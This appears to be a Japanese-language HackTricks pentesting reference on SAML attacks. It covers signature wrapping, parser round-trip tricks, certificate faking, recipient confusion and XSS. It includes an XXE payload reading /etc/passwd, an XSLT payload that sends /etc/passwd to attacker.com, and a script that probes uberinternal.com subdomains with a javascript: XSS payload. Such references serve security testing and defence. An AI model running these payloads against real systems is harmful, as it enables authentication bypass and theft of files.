SAML Attacks

SAML Attacks

HackTricksをサポートする

基本情報

SAML Basics

ツール

SAMLExtractor:URLまたはURLのリストを受け取り、SAML消費URLを出力するツールです。

XMLラウンドトリップ

XMLでは、XMLの署名された部分がメモリに保存され、その後、エンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、チェックされているデータと元のデータは同じでない可能性があります

例えば、次のコードを確認してください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 またはそれ以前のバージョンに対してプログラムを実行すると、代わりに次の出力が得られます:

First child in original doc: Y
First child after round-trip: Z

これはREXMLが上記プログラムの元のXMLドキュメントをどのように見たかです:

そして、これは解析とシリアル化の一巡後にどのように見えたかです:

脆弱性とその悪用方法についての詳細は以下を参照してください:

XML署名ラッピング攻撃

XML署名ラッピング攻撃(XSW)では、敵対者はXMLドキュメントが2つの異なるフェーズを通じて処理される際に発生する脆弱性を悪用します:署名検証と関数呼び出し。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない偽造要素注入します。この操作は、アプリケーションロジックによって分析される要素と、署名検証モジュールによってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは不正な要素を処理します。したがって、攻撃者はXML署名の整合性保護起源認証を効果的に回避し、検出されることなく任意のコンテンツを注入することができます。

以下の攻撃はこのブログ記事 および この論文に基づいています。詳細についてはそれらを確認してください。

XSW #1

  • 戦略:署名を含む新しいルート要素が追加されます。

  • 影響:検証者は正当な「Response -> Assertion -> Subject」と攻撃者の「悪意のある新しいResponse -> Assertion -> Subject」を混同する可能性があり、データ整合性の問題を引き起こします。

XSW #2

  • XSW #1との違い:包み込み署名の代わりに切り離された署名を利用します。

  • 影響:「悪意のある」構造は、XSW #1と同様に、整合性チェック後のビジネスロジックを欺くことを目的としています。

XSW #3

  • 戦略:悪意のあるAssertionが元のAssertionと同じ階層レベルで作成されます。

  • 影響:ビジネスロジックを混乱させて悪意のあるデータを使用させることを意図しています。

XSW #4

  • XSW #3との違い:元のAssertionが複製された(悪意のある)Assertionの子になります。

  • 影響:XSW #3と似ていますが、XML構造をより攻撃的に変更します。

XSW #5

  • ユニークな側面:署名も元のAssertionも標準構成(包み込み/包み込まれた/切り離された)に従っていません。

  • 影響:コピーされたAssertionが署名を包み込み、期待されるドキュメント構造を変更します。

XSW #6

  • 戦略:XSW #4および#5と同様の位置挿入ですが、ひねりがあります。

  • 影響:コピーされたAssertionが署名を包み込み、その後元のAssertionを包み込み、入れ子の欺瞞的な構造を作成します。

XSW #7

  • 戦略:コピーされたAssertionを子として持つExtensions要素が挿入されます。

  • 影響:これはExtensions要素の制約の少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証対策を回避します。

XSW #8

  • XSW #7との違い:攻撃のバリアントのために別の制約の少ないXML要素を利用します。

  • 影響:元のAssertionが制約の少ない要素の子になり、XSW #7で使用された構造を逆転させます。

ツール

Burp拡張機能SAML Raiderを使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行できます。

XXE

XXE攻撃がどのようなものか知らない場合は、以下のページをお読みください:

XXE - XEE - XML External Entity

SAMLレスポンスはデフレートされ、base64エンコードされたXMLドキュメントであり、XML外部エンティティ(XXE)攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することにより、攻撃者はXXE脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Burp拡張機能SAML Raiderを使用して、SAMLリクエストからPOCを生成し、XXE脆弱性やSAML脆弱性の可能性をテストできます。

このトークもチェックしてください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

XSLTに関する詳細情報は、以下をご覧ください:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

拡張スタイルシート言語変換(XSLT)は、XMLドキュメントをHTML、JSON、PDFなどのさまざまな形式に変換するために使用できます。XSLT変換はデジタル署名の検証前に実行されることに注意することが重要です。これは、攻撃が有効な署名なしでも成功する可能性があることを意味します。自己署名または無効な署名で進むことができます。

ここにこの種の脆弱性をチェックするためのPOCがあります。このセクションの最初に言及されたhacktricksページでペイロードを見つけることができます。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Burp拡張機能SAML Raiderを使用して、SAMLリクエストからPOCを生成し、可能なXSLTの脆弱性をテストできます。

このトークもチェックしてください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusionは、Signature要素が存在しない場合のSAML実装の動作を観察します。この要素が欠けている場合、署名の検証が行われない可能性があり、脆弱性を持つことになります。通常署名によって検証される内容を変更することで、これをテストすることが可能です。

Tool

Burp拡張機能SAML Raiderを使用することもできます。SAMLレスポンスを傍受し、Remove Signaturesをクリックします。これにより、すべてのSignature要素が削除されます。

署名が削除された状態で、リクエストをターゲットに進めます。Signatureがサービスによって必要とされていない場合

Certificate Faking

Certificate Faking

Certificate Fakingは、サービスプロバイダー(SP)がSAMLメッセージが信頼されたアイデンティティプロバイダー(IdP)によって署名されていることを適切に検証しているかどうかをテストする技術です。これは、SAMLレスポンスまたはアサーションに*自己署名証明書を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。

How to Conduct Certificate Faking

以下の手順は、SAML Raider Burp拡張機能を使用したプロセスを概説しています:

  1. SAMLレスポンスを傍受します。

  2. レスポンスに署名が含まれている場合、Send Certificate to SAML Raider Certsボタンを使用して証明書をSAML Raider Certsに送信します。

  3. SAML RaiderのCertificatesタブで、インポートした証明書を選択し、Save and Self-Signをクリックして元の証明書の自己署名クローンを作成します。

  4. Burpのプロキシで傍受したリクエストに戻ります。XML Signatureドロップダウンから新しい自己署名証明書を選択します。

  5. Remove Signaturesボタンで既存の署名を削除します。

  6. **(Re-)Sign Messageまたは(Re-)Sign Assertion**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。

  7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient ConfusionとService Provider Target Confusionは、サービスプロバイダーがレスポンスの意図された受信者を正しく検証しているかどうかを確認することを含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けに意図された認証レスポンスを拒否する必要があります。ここでの重要な要素は、SAMLレスポンスのSubjectConfirmationData要素内にあるRecipientフィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。

How It Works

SAML Token Recipient Confusion(SAML-TRC)攻撃が実行可能であるためには、特定の条件が満たされる必要があります。まず、サービスプロバイダー(SP-Legit)に有効なアカウントが存在する必要があります。次に、ターゲットとするサービスプロバイダー(SP-Target)は、SP-Legitにサービスを提供するのと同じアイデンティティプロバイダーからのトークンを受け入れる必要があります。

これらの条件下で攻撃プロセスは簡単です。共有アイデンティティプロバイダーを介してSP-Legitとの間で認証セッションが開始されます。アイデンティティプロバイダーからSP-LegitへのSAMLレスポンスが傍受されます。この傍受されたSAMLレスポンスは、元々SP-Legit向けに意図されていたもので、SP-Targetにリダイレクトされます。この攻撃の成功は、SP-Targetがアサーションを受け入れ、SP-Legitで使用されたのと同じアカウント名のリソースへのアクセスを許可することによって測定されます。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

ログアウト機能におけるXSS

元の研究はこのリンクからアクセスできます。

ディレクトリブルートフォースの過程で、次の場所にログアウトページが発見されました:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

このリンクにアクセスすると、次のようにリダイレクトされました:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

これは、baseパラメータがURLを受け入れることを明らかにしました。これを考慮して、XSS(クロスサイトスクリプティング)攻撃を開始する試みとして、URLをjavascript:alert(123);に置き換えるアイデアが浮かびました。

大規模な悪用

この研究から:

SAMLExtractorツールを使用して、同じライブラリを利用しているuberinternal.comのサブドメインを分析しました。その後、oidauth/promptページをターゲットにしたスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することでXSS(クロスサイトスクリプティング)をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考文献

HackTricksをサポートする

Last updated